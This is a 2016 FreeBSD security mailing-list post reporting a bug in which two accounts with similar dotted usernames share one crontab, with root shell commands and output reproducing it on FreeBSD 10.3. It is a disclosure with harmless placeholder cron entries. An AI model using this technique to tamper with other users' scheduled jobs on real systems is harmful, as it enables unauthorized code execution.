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Date:      Thu, 1 Sep 2016 14:47:26 +0200
From:      Andrii Kuzik <akuzik@gmail.com>
To:        freebsd-security@freebsd.org
Subject:   edit others user crontab, security bug
Message-ID:  <CA%2Bf9Cbu8q2KngxgAmZ8BrKYyYC5okDcMAs4nd=SJS6YpBMRJcQ@mail.gmail.com>

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Probably a lot of freebsd servers affected

Security bug allows to edit other users crontab

root# pw useradd -n www.promspecbud.com  -g nobody -s /bin/sh -d /tmp
root# pw useradd -n www.promspecbud.com.other -g nobody -s /bin/sh -d /tmp
root# echo @daily doit baby > /tmp/test
root# crontab -u www.promspecbud.com.other /tmp/test
root# crontab -u www.promspecbud.com -l

=====output =====
@daily doit baby
=================

root#echo @daily doit baby one more time>> /tmp/test
root#sudo -u www.promspecbud.com.other crontab /tmp/test
root#sudo -u www.promspecbud.com crontab -l
=====output =====
@daily doit baby
@daily doit baby one more time
=================

root# uname -a
FreeBSD kuzik 10.3-RELEASE FreeBSD 10.3-RELEASE #0 r297264: Fri Mar 25
02:10:02 UTC 2016
root@releng1.nyi.freebsd.org:/usr/obj/usr/src/sys/GENERIC  amd64

best regards, Andrii Kuzik



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